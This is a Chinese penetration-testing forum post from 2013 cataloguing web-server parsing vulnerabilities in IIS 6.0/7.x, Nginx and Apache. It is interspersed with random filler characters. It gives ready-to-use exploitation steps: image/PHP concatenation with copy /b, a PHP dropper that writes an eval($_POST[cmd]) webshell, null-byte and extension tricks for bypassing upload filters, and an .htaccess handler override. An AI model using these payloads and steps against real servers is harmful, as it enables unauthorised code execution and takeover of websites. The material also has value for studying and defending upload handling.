中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
! z r# [% L) `( ~; h& E: b& a
[+]IIS6.0
. |" N' V6 s* H" D
* O1 @0 ~, r) p3 J s
目录解析:/xx.asp/xx.jpg
- @) L7 b- N' B
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
9 C5 G; r! N% F. I" Y& m) f8 ?
IIS6.0 会将 xx.jpg 解析为 asp 文件。
" `" A* d. n4 F `1 }9 y
后缀解析:/xx.asp;.jpg
3 G. Z& i- G) _6 {
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
: I1 z# s; v: {. \
默认解析:/xx.asa
% c5 m! i( L3 k% v( m- `" P
/xx.cer
! I6 Y i+ p8 c2 O9 N, k/ c& ~0 I
/xx.cdx
1 ^+ W0 o n. o: B4 ]4 G1 w$ |4 k& d
IIS6.0 默认的可执行文件除了 asp 还包含这三种
; G( a0 p' i5 T4 H @
此处可联系利用目录解析漏洞
* [ Y/ H/ q8 F& F8 v P" Z7 [
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
* T% L5 w3 w6 f4 S# V8 l/ w
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
! t9 q, ~3 t3 g* M d0 f4 U; N7 w
* U0 F; Z2 s9 Y& h
IIS 7.0/IIS 7.5/Nginx <0.8.03
% k+ O7 D. [2 m; y8 S$ P
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
& S4 f. X1 V9 j8 ^9 L& z1 U
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
+ c# j+ k' ^% f# ]7 e, q
常用利用方法:
, G. _" z* V# M% Y( I% s
将一张图和一个写入后门代码的文本文件合并将恶意文本
8 ^; `* B! a% P7 N
写入图片的二进制代码之后,避免破坏图片文件头和尾
$ M; x9 Z9 n: O2 r- S
如:
; C% {4 b3 O( Y! I
copy xx.jpg /b + yy.txt/a xy.jpg
! p4 {' b1 q4 h N
#########################################################
1 v* n& l2 f/ x# k! ]$ v+ z; L
/b 即二进制[binary]模式
" M! b: g7 s3 ^( y, m4 B
/a 即ascii模式
2 [0 g" ? D, x. d1 |" o
xx.jpg 正常图片文件
+ }- W7 D+ N7 f3 G% }: L
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
( t% {: z/ w/ a- s* b
'<?php eval($_POST[cmd])?>');?>
% ~ g2 t0 n/ [& ]
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
7 _4 P6 m- v- D1 f
为shell.php的文件
1 H; _ p% h9 i
###########################################################
$ t5 R. Z$ R: t* |: q
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
& w) g B3 }' v0 T# ^+ P
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
4 U @$ w) L5 ?4 ?
密码 cmd
6 n: H% h2 |& \
[+]Nginx <0.8.03
( l1 F3 ]- `) f# M
8 l+ h& g8 s# ^$ h4 a+ S' e
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
( b! A/ r8 u5 M" S1 X9 Q
在一个文件路径(/xx.jpg)后面加上%00.php
# z' k1 R3 h( f9 A) M% g( u
会将 /xx.jpg%00.php 解析为 php 文件。
$ J% `4 `- d. d3 Z- s& k- O
[+]Apache<0.8.03
- M) ]% ~0 f f& T9 [7 D( a6 D2 x
, O, |1 V: u3 @/ E1 b o {
后缀解析:test.php.x1.x2.x3
, t9 O% e4 G1 x
Apache将从右至左开始判断后缀,若x3非可识别后缀,
1 l1 K6 I5 r) P$ w: U3 }
再判断x2,直到找到可识别后缀为止,然后将该可识别
! Q7 D* T3 H0 j
后缀进解析test.php.x1.x2.x3 则会被解析为php
4 N& U5 L$ _& V4 z7 V4 n, q
经验之谈:php|php3|phtml 多可被Apache解析。
$ e2 \# Q& [, i- @6 c' V
[+]其他一些可利用的
4 [. e& B8 b. H8 Z& b" Q$ x# G
/ W8 B, z! z0 W1 `" o* P/ n7 G
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
6 ?: I+ U7 C. [) I# J E
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
) p: F" R, u( i2 W- }) z& b! O
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
1 ~5 G6 v4 z( S
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
/ Z( y8 Q! {5 d. W+ T3 V
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
% B: @/ @4 Q" E* z9 [/ v
{Linux主机中不行,Linux允许这类文件存在}
( }, O N0 b" O- v- \
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
5 k" w# {- Z' T, \! D* U
的,当初我并不知道),且可以被上传,那可以尝试在
' ^- y: j) x8 a1 u( R% c
.htaccess中写入:
% i3 O" U; `# p, G; j4 P' U% Y/ G! S
<FilesMatch “shell.jpg”>
; d% A: f+ b: _# {9 d( R
SetHandler application/x-httpd-php
/ q7 g1 H! ?& y9 x; v) `
</FilesMatch>
! C( o% H8 V0 j4 b, ]% A* F6 J
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
: G: y9 ^9 X2 s% b& t
[+]错误修改
9 j3 ~0 I/ x: N' J
) J z7 d. _& b- ^$ C
在 IIS 6.0 下可解析 /xx.asp:.jpg
9 R/ Q) @, K% m( }6 v9 S) N
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
2 _8 j9 e# R9 u
剩下/xx.asp}修改:
# M: W/ \$ f5 _9 a# `1 n3 |# n
先谢谢核攻击的提醒
0 m. b* v" L, d, P) q
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
* d y" i& _! T+ k: i* \; ]4 R
里是没有任何内容的,因为。。不好解释 大家自己看
9 R9 u' j$ L, I
http://lcx.cc/?i=2448
5 Q, d' [# t" |1 q1 a |$ g
http://baike.baidu.com/view/3619593.htm
! Q* b' Y7 o$ O
( F! n6 \/ S; ]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2